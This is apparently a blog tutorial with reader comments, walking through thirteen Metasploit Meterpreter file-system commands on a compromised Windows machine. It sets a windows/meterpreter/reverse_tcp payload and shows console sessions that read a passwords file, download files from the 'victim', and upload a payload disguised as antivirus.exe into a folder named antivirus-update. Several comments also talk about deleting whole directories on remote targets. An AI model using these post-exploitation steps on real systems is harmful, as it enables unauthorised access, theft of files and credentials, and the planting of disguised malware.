X

Sorry :(

Our Image server is on a maintenance now,
You will not see the image correctly
please check back shortly. . .

13 Metasploit Meterpreter File System Command You Should Know

13 Metasploit Meterpreter File System Command You Should Know

Type : Tutorial

Level : Easy

You can get your meterpreter command after you have successfully compromise a system via an exploit and set up your payload to meterpreter command.

set payload windows/meterpreter/reverse_tcp

 

Command :

1. cat

The cat command displays the contents of a single file. As of the time of this writing, the command will throw an error when trying to read an emtpy file.

meterpreter > cat passwords.txt
harleydavidson
password
kidsbirthday

 

2. cd

To change directory the cd command is used.

The command will accept both back and forward slashes somewhat interchangeably, though using a forward slash seems to work more frequently. "." and ".." are used to access the current and parent directory, respectively, and double-quotes can be used to access directories with spaces in the names.

meterpreter > pwd
C:\
meterpreter > cd /"Program Files"/"Internet Explorer"
meterpreter > pwd
C:\Program Files\Internet Explorer
meterpreter > cd ../../"documents and settings"/Administrator/Desktop/
C:\Documents and Settings\Administrator\Desktop

 

3. download

When we need to retrieve a file from the target we use the download command, which transfers the specified file into our local working directory. In the event that we need to recursively download an entire directory, we use the download -r command.

meterpreter > download users.txt
[*] downloading: users.txt -> users.txt
[*] downloaded : users.txt -> users.txt

 

4. edit

To edit a file using our default text editor we use the edit command. Behind the scenes, Meterpreter will download a copy of the file to a temp directory, then upload the new file when the edit is complete.

meterpreter > edit users.txt

 

5. getlwd

We can show the current working directory on our local machine by using getlwd (get local working directory), or by using the alias lpwd (local print working directory).

meterpreter > getlwd
/root/Desktop/metasploit
meterpreter > lpwd
/root/Desktop/metasploit

 

6. getwd

We can show the current working directory on the exploited machine by using getwd (get working directory), or by using the alias pwd (print working directory).

meterpreter > getwd
C:\Program Files\Internet Explorer
meterpreter > pwd
C:\Program Files\Internet Explorer

 

7. lcd

To change the local directory we use the lcd command.

The command only accepts arguments in the same way as your operating system's cd command, so refer to your system's documentation for specific instructions. The following example shows lcd on a Linux system.

meterpreter > lpwd
/root/Desktop/metasploit
meterpreter > lcd ../..
meterpreter > lpwd
/root/myusername
meterpreter > lcd /home/andrer/Desktop/metasploit
meterpreter > lpwd
/home/myusername/Desktop/metasploit

 

8. lpwd

We can show the current working directory on our local machine by using lpwd (local print working directory), or by using the alias getlwd (get local working directory).

meterpreter > lpwd
/home/myusername/Desktop/metasploit
meterpreter > getlwd
/home/myusername/Desktop/metasploit

 

9. ls

We can see both the current working directory and a detailed listing of files in that directory by using the ls command. File listings are given in a format similar to the GNU ls program.

meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop\shared
===============================================================

Mode              Size   Type  Last modified                   Name
----              ----   ----  -------------                   ----
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  .
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  ..
100777/rwxrwxrwx  14965  fil   Wed Dec 31 18:00:00 -0600 1969  meter-443.exe
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  u3

 

10. mkdir

We use mkdir to make a new directory on the target system.

meterpreter > mkdir antivirus-update
Creating directory: antivirus-update
meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop
================================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  .
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  ..
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  antivirus-update
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  shared
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  working

 

11. pwd

We can show the current working directory on our local machine by using pwd ( print working directory), or by using the alias getwd (get working directory).

meterpreter > pwd
C:\Program Files\Internet Explorer
meterpreter > getwd
C:\Program Files\Internet Explorer

 

12. rmdir

We can remove an empty directory with the rmdir command. The command will throw an error if the directory is not empty.

meterpreter > rmdir antivirus-update
Removing directory: antivirus-update

13. upload

To send a file to the target system we use the upload command, using the -r switch to recursively upload directories and their contents. In the following example we are uploading a falsely named Meterpreter payload.

meterpreter > upload antivirus.exe
[*] uploading  : antivirus.exe -> antivirus.exe
[*] uploaded   : antivirus.exe -> antivirus.exe
meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop\antivirus-update
=================================================================

Mode              Size   Type  Last modified                   Name
----              ----   ----  -------------                   ----
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  .
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  ..
100777/rwxrwxrwx  10912  fil   Wed Dec 31 18:00:00 -0600 1969  antivirus.exe

 

Read more : metasploit wiki

Vishnu Valentino

Computer Security, Blogger

Nothing Secure...

BANDUNG - INDONESIA

CHANGCHUN - CHINA


bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark
tabs-top

9 Comments »

  1. tarish Says:

    nice work dude…tnx

    comment-bottom
  2. v4L Says:

    #tarish
    you’re welcome :-)

    comment-bottom
  3. [...] Someone was leave me a message from "Request Tutorial" page about how to get or download files from victim using Backtrack. Emm…this tutorial wasn't to complicated so I put it on Tips and Trick section. Actually everything you can do and interact with your victim after you successfully compromise and got the victim machine in your hand. The following tips and trick will show you how to download files from victim via Metasploit Meterpreter, you also can view the rest of interracting with file meterpreter command in tutorial about 13 metasploit meterpreter file system command you should know(view the tutorial here). [...]

    comment-bottom
  4. [...] you want to do another thing inside victim machine, please read this tutorial that very useful for your [...]

    comment-bottom
  5. [...] the next step about how to use the meterpreter command, you can refer to this tutorial and this [...]

    comment-bottom
  6. Charles Says:

    mkdir…  the -p option is ignored. How do I create a complex structure that probably doesn't exist? For instance, in unix and dos this works: mkdir -p c:/blue/berry/pancakes even if /blue doesn't exist.

    comment-bottom
  7. v4L Says:

    #Charles
    I haven’t try it…because afaik the meterpreter is different with DOS / Unix Console, if you want the functional ability of DOS/Unix Console, you should run shell command from your meterpreter console.

    comment-bottom
  8. Charles Says:

    This is nice, but there are some serious commands that meterpreter is missing. del *.*? Can't be done. rmdir /S /Q (to delete an entire tree and everything in it recursively)? Not there. What's more, execute cannot be used to issue either of these dos commands, because they're part of the shell and aren't actual programs that can be executed. Sure, I can open a shell, but if I'm using the RPC to send meterpreter commands remotely, using an interactive shell is programatically a nightmare. It's easier to create a simple batch file, upload it, and execute it than it is to delete a directory and everything that's in it. And that is ridiculous. There has GOT to be an easier way.
     
    Charles.

    comment-bottom
  9. [...] We got the victim machine and also the password hash(click here to view how to crack the password hash). If you want to know more what meterpreter can do, you can view the tutorial here and here. [...]

    comment-bottom

RSS feed for comments on this post. TrackBack URL

Leave a comment

*

Notify me of followup comments via e-mail. You can also subscribe without commenting.